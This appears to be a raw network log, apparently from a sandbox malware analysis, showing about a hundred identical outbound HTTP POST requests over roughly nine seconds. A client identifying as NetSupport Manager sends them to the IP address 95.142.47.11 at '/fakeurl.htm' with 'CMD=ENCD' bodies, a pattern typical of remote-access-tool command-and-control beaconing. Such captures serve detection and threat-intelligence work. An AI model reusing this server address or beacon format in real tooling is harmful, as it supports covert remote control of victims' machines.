Dec 6, 2023 14:36:19.920670986 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:20.020694017 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:20.120855093 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:20.221690893 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:20.321865082 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:20.421902895 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:20.522680044 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:20.622726917 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:20.723705053 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:20.823728085 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:20.924351931 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:21.024663925 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:21.125763893 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:21.225796938 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:21.326709032 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:21.426779032 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:21.527096033 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:21.626857042 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:21.728362083 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:21.827750921 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:21.929430962 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:22.029933929 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:22.130855083 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:22.230787039 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:22.331168890 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:22.431315899 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:22.531819105 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:22.632363081 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:22.731770039 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:22.831931114 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:22.931962013 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:23.032943964 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:23.132740021 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:23.232933044 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:23.334424973 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:23.434703112 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:23.535311937 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:23.634759903 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:23.738164902 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:23.837976933 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:23.938081026 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:24.040298939 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:24.139087915 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:24.239748001 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:24.339700937 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:24.440980911 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:24.540745020 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:24.642585039 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:24.742033958 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:24.846790075 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:24.948308945 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:25.048247099 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:25.148740053 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:25.249859095 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:25.349998951 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:25.450885057 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:25.551240921 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:25.652745962 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:25.753823042 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:25.854829073 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:25.955698967 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:26.055677891 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:26.155700922 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:26.256669998 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:26.356641054 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:26.457683086 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:26.557874918 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:26.658129930 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:26.758697033 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:26.859757900 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:26.960712910 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:27.060612917 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:27.160712957 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:27.260943890 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:27.361722946 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:27.462671041 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:27.562649012 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:27.662905931 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:27.766484022 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:27.866617918 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:27.967725039 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:28.067634106 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:28.168637991 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:28.268639088 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:28.369740009 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:28.469650984 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:28.569621086 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:28.669647932 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:28.787103891 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:28.887775898 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:28.988612890 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:29.263010025 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:29.363622904 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
